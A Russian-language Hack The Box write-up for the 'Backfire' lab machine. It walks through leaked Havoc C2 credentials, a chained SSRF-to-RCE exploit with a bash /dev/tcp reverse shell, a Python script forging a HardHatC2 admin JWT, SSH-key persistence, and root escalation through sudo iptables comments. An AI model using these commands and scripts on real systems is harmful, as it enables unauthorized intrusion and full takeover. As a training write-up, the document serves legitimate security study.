Backfire Hackthebox Writeup

Описание изображения

HTB machine link:

https://app.hackthebox.com/machines/Backfire

Перед началом райтапа, хочу поздравить коллег из команды FR13NDS_TEAM, в частности хакера fisstech, который взял user first blood, обогнав TOP 1 команду hackthebox. Респект)

Описание изображения

Recon Ссылка на заголовок

Начинаем как обычно с проверки подключения и сканирования открытых портов

Описание изображения

Сразу бросается в глаза 8000 порт. Попробуем зайти на него

Описание изображения

Тут у нас лежат два файла. disable_tls.patch и havoc.yaotl

Описание изображения

Похоже кто-то развернул C2 HavocFramework. На скриншоте выше - пример, почему нужно не забывать выключать свои python http сервера после использования. Находим два файла - какой-то патч и конфиг Havoc - havoc.yaotl, который требуется для запуска team-сервера.

В патче инструкция по отключению tls в havoc.

Описание изображения

А вот файл конфигурации содержит следующие параметры:

  • Teamserver - указывает прослушиваемый сервером адрес и порт
  • Operators - перечисление зарегистрированных пользователей
  • Demon – показывает настройки требующиеся для генерируемого агента.

И полезную информацию, которая применима к уязвимому хосту, включая креды и порты, на котором работает демон, а также домен тачки

Описание изображения

Operators {
    user "ilya" {
        Password = "*****************"
    }

    user "sergej" {
        Password = "*****************"
    }
}

Домен кстати ожидаемо backfire.htb

Описание изображения

Не забываем добавить запись в /etc/hosts

Описание изображения

echo "10.10.11.49 backfire.htb" | sudo tee -a /etc/hosts

User flag Ссылка на заголовок

После небольшого осинта по авторам тачки обнаружился интересный фан-факт - chebuya, также является еще и автором SSRF-эксплоита уязвимости в Havoc. Совпадение? Не думаю.

Описание изображения

Описание изображения

Пробуем запустить SSRF PoC с кредами, найденными прежде в конфигах.

Описание изображения

python3 exploit.py -t https://backfire.htb/ -u ilya -i 10.10.xx.xx -p 8443

Вроде работает, но одного SSRF мало, надо что-то еще придумать.

Описание изображения

Тут мы подходим к еще одному фан-факту - hyperreality, второй автор тачки, по совместительству также и автор RCE эксплоита под Havoc.

Описание изображения

Придётся крутить SSRF-to-RCE. Тут в теории нужно самому писать код, объединяющий в себе оба эксплоита, но сообщество уже всё сделало за нас, так что просто следим за руками:

Готовим реверс-шелл.

#!/bin/bash
bash -i >& /dev/tcp/10.10.xx.xx/4444 0>&1

Запускаем python http-сервер.

python3 -m http.server 8001

Запускаем прослушиватель.

nc -nlvp 4444

И, наконец, запускаем эксплоит.

https://www.pentestnotes.ru/images/hackthebox/season7/Backfire/SSRF_TO_RCE.py

(не забудьте поменять IP в коде на свой)

Описание изображения

python3 rce.py --target https://10.10.11.49 -i 127.0.0.1 -p 40056

Скрипт использует уязвимость в Havoc, связанную с инъекцией команд под аутентифицированным юзером: устанавливает безопасное websocket-соединение, аутентифицирует юзера на сервере, создает слушатель с определенными параметрами и прогоняет цикл командной строки, внутри которого мы можем вводить команды.

Если внести небольшие изменения в эксплойт, то cmd будет запускать наш reverse shell.

Описание изображения

Как видим ниже, эксплойт успешно отработал.

Описание изображения

Сессия поймана.

Описание изображения

Шелл будет выбивать раз в какое-то время, поэтому для удобства я вручную добавил свой публичный ключ ssh в файл authorized_keys на тачке. Так можно подключаться без пароля.

Чтобы такое провернуть, сначала узнайте свой публичный ключ.

cat ~/.ssh/authorized_keys

(Где ~/.ssh/authorized_keys — путь до файла authorized_keys по умолчанию. У вас может быть по-другому.)

Скопируйте полученный публичный ключ и вставьте его в authorized_keys на захваченной машине с новой строки.

echo "YOU PUB KEY" | tee -a ~/.ssh/authorized_keys

Теперь можно подключаться к тачке по ssh.

Описание изображения

Root flag Ссылка на заголовок

Отталкиваемся от файла hardhat.txt, найденного у пользователя ilya.

Описание изображения

Наших маленьких редтимеров ничего не смущает, поэтому они оставляют информацию о том, что благодаря Sergej у них где-то торчит ещё один C2 под названием HardHatC2. На него кстати тоже есть RCE.

При просмотре живых портов, в глаза сразу бросаются 5000 и 7096

Описание изображения

Пробрасываем эти порты

ssh -L 5000:127.0.0.1:5000 ilya@backfire.htb
ssh -L 7096:127.0.0.1:7096 ilya@backfire.htb

И смотрим что там на вебе

Описание изображения

Следуем Vulnerability 2 и Vulnerability 3 пунктам следующей статьи: https://blog.sth.sh/hardhatc2-0-days-rce…88a6815c08

# @Author Siam Thanat Hack Co., Ltd. (STH)  
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Craft Admin JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("Generated JWT:")  
print(token)  
  
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "strongpassword",  
"role": "TeamLead",  
"username": "strongusername"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)

Это позволит нам создать нового пользователя HardHatC2 с произвольным паролем:

Описание изображения

Логинимся

Описание изображения

Теперь заходим во вкладку Implant Interact

Описание изображения

И находим командную строку, которая исполняет команды от имени пользователя sergej. Можно поймать шелл, но я просто снова закину на сервер свой публичный ключ ssh по аналогии с ilya:

Описание изображения

Описание изображения

Теперь можем свободно подключаться под пользователем sergej к серверу.

Описание изображения

Рассмотрим функции, которые мы можем использовать с правами sudo. Среди таковых обнаруживаем iptables.

Описание изображения

Для повышения привилегий можем воспользоваться следующей инструкцией: https://www.shielder.com/blog/2024/09/a-…scalation/

В принципе описанное ниже не требует особых пояснений, мы просто в комментарий к правилу iptables добавляем свой ssh pub key и отправляем правило с “вредоносным” комментарием в authorized_keys.

Описание изображения

#add rule  
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nYOUR SSH PUB KEY\n'  
  
#verify with:  
sudo iptables -S  
  
#save into authorized_keys  
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys  

Заходим из под рута и лутаем флаг

ssh -i key root@backfire.htb

Описание изображения

@PentestNotes